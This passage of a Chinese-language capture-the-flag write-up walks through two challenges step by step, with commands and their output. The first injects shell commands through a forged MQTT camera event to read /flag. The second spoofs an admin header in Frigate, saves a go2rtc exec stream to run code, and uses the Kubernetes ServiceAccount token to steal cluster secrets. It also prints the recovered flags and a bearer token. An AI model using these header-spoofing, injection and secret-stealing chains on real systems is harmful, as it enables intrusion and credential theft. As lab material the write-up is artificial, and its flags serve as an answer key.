  5. 向 frigate/front_door/events 发布伪造事件,使自动化执行 unlock --camera '<after.camera>' 并在 telemetry 回显。

    ev = {"type": "new", "before": {}, "after": {
        "id": "1793452234.000000-abcdef", "camera": "front_door",
        "label": "person", "top_score": 0.99,
        "current_zones": ["door"], "entered_zones": ["door"],
        "has_clip": True, "has_snapshot": True}}
    A.publish("frigate/front_door/events", json.dumps(ev), qos=1)
    
    home/d63467c7cfa82061/telemetry: {"camera": "front_door", "stdout": "unlock-ok:unlock --camera front_door", "stderr": ""}
    

    step 5 终端截图
  6. 在 camera 中加入 ;、$(id)、反引号与管道符,stdout 原样回显说明参数处于单引号内。

    for cam in ["front_door; id", "front_door$(id)",
                "front_door`id`", "front_door|id"]:
        ev["after"]["camera"] = cam
        A.publish("frigate/front_door/events", json.dumps(ev), qos=1)
    
    stdout: "unlock-ok:unlock --camera front_door; id"
    stdout: "unlock-ok:unlock --camera front_door$(id)"
    
  7. 以单引号闭合 unlock --camera 的参数,注入 cat /flag 并以 # 注释尾部引号,从 telemetry 读取回显。

    marker = "uc82bba4eb"
    ev["after"]["camera"] = marker + "'; cat /flag; echo; echo DONE; #"
    ev["after"]["id"] = "1793452465.000000-uc"
    A.publish("frigate/probe/events", json.dumps(ev), qos=1)
    
    home/d63467c7cfa82061/telemetry: {"camera": "uc82bba4eb'; cat /flag; echo; echo DONE; #", "stdout": "unlock-ok:unlock --camera uc82bba4eb\nflag{bw3FqRurWkbUy5DU9G0M5qacEy3krg7nEKVG9rBc}\n\nDONE", "stderr": ""}
    

    step 7 终端截图
  8. 注入 id; cat /flag; ls -la /flag,复核执行用户与 /flag 的文件属性。

    marker = "uc50f4b08c"
    ev["after"]["camera"] = marker + "'; id; cat /flag; ls -la /flag; #"
    ev["after"]["id"] = "1793452482.000000-uc"
    A.publish("frigate/probe/events", json.dumps(ev), qos=1)
    
    uid=103(homeassistant) gid=105(homeassistant) groups=105(homeassistant),105(homeassistant)
    flag{bw3FqRurWkbUy5DU9G0M5qacEy3krg7nEKVG9rBc}; -rw-r--r--    1 homeassistant homeassistant        47 Oct 31 13:01 /flag
    

Ingress Control

  1. 以下以 B 表示 nginx 入口基址,接口均使用相对路径;请求根路径、匿名身份接口与受保护配置接口,记录服务版本与匿名权限。

    curl -s -D - -o /dev/null "$B/"
    curl -s "$B/api/profile"; echo
    curl -s "$B/api/config/raw"; echo
    
    Server: nginx/1.27.4; profile {"username":"viewer","role":"viewer","allowed_cameras":["yard"]}
    /api/config/raw: 403 {"detail":"Access denied. A user with the admin role is required."}
    
  2. 在请求中附加客户端可控的 X-Forwarded-Groups: admin;nginx 的 auth_location.conf 将其以 $http_x_forwarded_groups 转发至 /auth 子请求,Frigate 按 proxy.header_map.role 映射角色,同一接口由 403 变为 200。

    curl -s -o /dev/null -w '%{http_code} %{size_download}\n' "$B/api/config/raw"
    curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
      -H 'X-Forwarded-Groups: admin' "$B/api/config/raw"
    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/profile"; echo
    
    /api/config/raw: 403 67 without header, 200 383 with header
    /api/profile: role=admin
    

    step 2 终端截图
  3. 回读管理员可访问的原始配置,提取 auth、proxy 与 version 字段,并核对 go2rtc 日志版本。

    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/config/raw" -o /tmp/base.json
    python3 -I - <<'PY'
    import json, yaml
    c = yaml.safe_load(json.load(open('/tmp/base.json')))
    print('auth.enabled', c['auth']['enabled'])
    print('role header', c['proxy']['header_map']['role'], 'version', c['version'])
    PY
    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/logs/go2rtc?lines=200" -o /tmp/g2.log
    python3 -I -c "import json; print([l for l in json.load(open('/tmp/g2.log'))['lines'] if 'version=1.9.10' in l][0])"
    
    auth.enabled False
    role header x-forwarded-groups; version 0.17-0; go2rtc version=1.9.10 revision=df95ce3
    
  4. 将 map 形式的 go2rtc.streams.s5a 加入完整配置并以 save_option=restart 保存;create_config.py 只过滤 str/list 形式的 stream 值,go2rtc 的 NewStream map 分支直接读取 source['url'] 且不调用 Streams.Validate。

    cat > /tmp/s5a.yml <<'YAML'
    go2rtc:
      streams:
        s5a:
          url: |-
            exec:sh -c 'id > /config/config.yml 2>&1; ls -la /run/ingress/control >> /config/config.yml 2>&1'
    YAML
    python3 -I -c "import json,yaml; c=yaml.safe_load(json.load(open('/tmp/base.json'))); c['go2rtc']=yaml.safe_load(open('/tmp/s5a.yml'))['go2rtc']; open('/tmp/config.yml','w').write(yaml.safe_dump(c))"
    curl -s -o /dev/null -w '%{http_code}\n' -X POST -H 'X-Forwarded-Groups: admin' --data-binary @/tmp/config.yml "$B/api/config/save?save_option=restart"
    
    POST /api/config/save?save_option=restart: 200
    请求体含 map 形式 go2rtc.streams.s5a(url 为 exec:sh -c)
    
  5. 用 /api/ffprobe 的 paths 参数请求 go2rtc 的 frame.jpeg 接口,以 src 指定 s5a 触发 exec,并从 /api/config/raw 回读命令输出确认执行身份。

    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/ffprobe?paths=http%3A%2F%2F127.0.0.1%3A1984%2Fapi%2Fframe.jpeg%3Fsrc%3Ds5a"
    sleep 2
    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/config/raw" -o /tmp/out.json
    python3 -I -c "import json; t=json.load(open('/tmp/out.json')); print(t.splitlines()[0]); print([l for l in t.splitlines() if 'Permission denied' in l][0])"
    
    uid=998(media) gid=998(media) groups=998(media)
    ls: cannot open directory '/run/ingress/control': Permission denied
    
  6. 构造 s1 流:读取 Pod 的 ServiceAccount token 并请求 edge-ns 的 Secrets 列表,结果写入 /config/config.yml,再把该流合并进配置并保存。

    cat > /tmp/s1.yml <<'YAML'
    go2rtc:
      streams:
        s1:
          url: |-
            exec:python3 -c "import ssl,urllib.request,pathlib; ctx=ssl._create_unverified_context(); t=pathlib.Path('/var/run/secrets/kubernetes.io/serviceaccount/token').read_text().strip(); req=urllib.request.Request('https://127.0.0.1:6443/api/v1/namespaces/edge-ns/secrets',headers={'Authorization':'Bearer '+t}); open('/config/config.yml','wb').write(urllib.request.urlopen(req,context=ctx).read())"
    YAML
    python3 -I -c "import json,yaml; c=yaml.safe_load(json.load(open('/tmp/base.json'))); c['go2rtc']=yaml.safe_load(open('/tmp/s1.yml'))['go2rtc']; open('/tmp/config.yml','w').write(yaml.safe_dump(c))"
    curl -s -o /dev/null -w '%{http_code}\n' -X POST -H 'X-Forwarded-Groups: admin' --data-binary @/tmp/config.yml "$B/api/config/save?save_option=restart"
    
    POST /api/config/save?save_option=restart: 200
    请求体含 streams.s1.url(map 形式)与 ServiceAccount token 读取逻辑
    
  7. 触发 s1 并回读 /config/config.yml,解析 SecretList,定位带注解的 relay-reader-token。

    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/ffprobe?paths=http%3A%2F%2F127.0.0.1%3A1984%2Fapi%2Fframe.jpeg%3Fsrc%3Ds1"
    sleep 2
    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/config/raw" -o /tmp/out.json
    python3 -I -c "import json; d=json.loads(json.load(open('/tmp/out.json'))); print([(i['metadata']['name'], i['metadata'].get('annotations')) for i in d['items']])"
    
    [('edge-routing', None), ('relay-reader-token', {'kubernetes.io/service-account.name': 'relay-reader', 'mimicry.ctf/target-secret': 'fleet-attestation', 'mimicry.ctf/target-namespace': 'camera-ns'})]
    SecretList 共 2 项:edge-routing 与 relay-reader-token
    
  8. 对 relay-reader-token 的 data.token 做 base64 解码,得到 relay-reader 的 Bearer token。

    python3 -I - <<'PY'
    import base64, json
    items = json.loads(json.load(open('/tmp/out.json')))['items']
    tok = [i['data']['token'] for i in items if i['metadata']['name'] == 'relay-reader-token'][0]
    print(base64.b64decode(tok).decode())
    PY
    
    4oTSnL39ZN5c2XdwPpSl_pBin1eS5ZFz8bf2tpOXpBs
    
  9. 由于 media 用户直接读取 /run/ingress/control/fleet-attestation.json 被拒,构造 s2 流改用 relay-reader token 请求 camera-ns/secrets/fleet-attestation,并把响应写入 preview 缓存文件 preview_yard-9.webp 后保存配置。

    cat > /tmp/s2.yml <<'YAML'
    go2rtc:
      streams:
        s2:
          url: |-
            exec:python3 -c "import ssl,urllib.request,pathlib; t='4oTSnL39ZN5c2XdwPpSl_pBin1eS5ZFz8bf2tpOXpBs'; req=urllib.request.Request('https://127.0.0.1:6443/api/v1/namespaces/camera-ns/secrets/fleet-attestation',headers={'Authorization':'Bearer '+t}); open('/tmp/cache/preview_frames/preview_yard-9.webp','wb').write(urllib.request.urlopen(req,context=ssl._create_unverified_context()).read())"
    YAML
    python3 -I -c "import json,yaml; c=yaml.safe_load(json.load(open('/tmp/base.json'))); c['go2rtc']=yaml.safe_load(open('/tmp/s2.yml'))['go2rtc']; open('/tmp/config.yml','w').write(yaml.safe_dump(c))"
    curl -s -o /dev/null -w '%{http_code}\n' -X POST -H 'X-Forwarded-Groups: admin' --data-binary @/tmp/config.yml "$B/api/config/save?save_option=restart"
    
    POST /api/config/save?save_option=restart: 200
    请求体含 streams.s2.url,使用 relay-reader token 访问 camera-ns Secret
    
  10. 触发 s2,并通过 /api/preview/preview_yard-9.webp/thumbnail.webp 取回缓存文件的原始字节。

    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/ffprobe?paths=http%3A%2F%2F127.0.0.1%3A1984%2Fapi%2Fframe.jpeg%3Fsrc%3Ds2"
    sleep 2
    curl -s -H 'X-Forwarded-Groups: admin' "$B/api/preview/preview_yard-9.webp/thumbnail.webp" -o /tmp/p9b.bin
    head -c 160 /tmp/p9b.bin; echo
    
    {"apiVersion":"v1","kind":"Secret","metadata":{"name":"fleet-attestation","namespace":"camera-ns"},"type":"Opaque","data":{"payload":"ZmxhZ3tOYVNac1VrNGJtNlNnRX
    payload base64: ZmxhZ3tOYVNac1VrNGJtNlNnRXVDMkNYWDU5S0ZsZkFuSTE0UUdaTHJ1MUlFfQ==
    
  11. 解析 Secret JSON 的 data.payload,base64 解码得到 flag。

    python3 -I - <<'PY'
    import base64, json
    s = json.load(open('/tmp/p9b.bin'))
    print(base64.b64decode(s['data']['payload']).decode())
    PY
    
    flag{NaSZsUk4bm6SgEuC2CXX59KFlfAnI14QGZLru1IE}
    

    step 11 终端截图